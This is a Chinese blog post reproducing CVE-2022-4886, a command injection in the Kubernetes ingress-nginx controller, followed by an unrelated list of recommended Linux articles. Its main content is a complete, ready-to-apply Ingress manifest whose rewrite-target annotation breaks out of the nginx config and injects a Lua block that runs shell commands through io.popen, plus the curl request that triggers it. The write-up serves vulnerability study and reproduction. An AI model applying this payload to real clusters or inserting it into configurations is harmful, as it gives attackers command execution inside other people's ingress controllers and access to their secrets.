CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

bash 复制代码
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

复制代码
 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径,用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示

复制代码
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080

在容器中可以看到

复制代码
 curl --header "Host: k8s.evil.me" http://10.98.219.148/
相关推荐
SPC的存折1 小时前
8、Ansible之Playbook---Roles
linux·服务器·ansible
Kira Skyler1 小时前
BPF KPROBE编程中的ctx是什么?
linux
三万棵雪松3 小时前
【Linux 物联网网关主控系统-Linux主控部分(三)】
linux·物联网·嵌入式linux
萝卜白菜。3 小时前
TongWeb7.0 集中管理heimdall配置文件说明
linux·运维·服务器
IMPYLH4 小时前
Linux 的 install 命令
linux·运维·服务器·bash
浦信仿真大讲堂4 小时前
CST FAQ 006:Linux系统CST安装指导
linux·运维·服务器·仿真软件·达索软件
AI+程序员在路上5 小时前
Linux C 条件变量阻塞线程用法:等待时CPU占用率为0
linux·运维·c语言
HABuo5 小时前
【linux线程(三)】生产者消费者模型(条件变量阻塞队列版本、信号量环形队列版本)详细剖析
linux·运维·服务器·c语言·c++·ubuntu·centos
Milu_Jingyu5 小时前
Windows与Ubuntu文件共享详细指南
linux·windows·ubuntu
Java面试题总结5 小时前
Linux根分区爆满(占用81%)排查与解决实战
linux·运维·服务器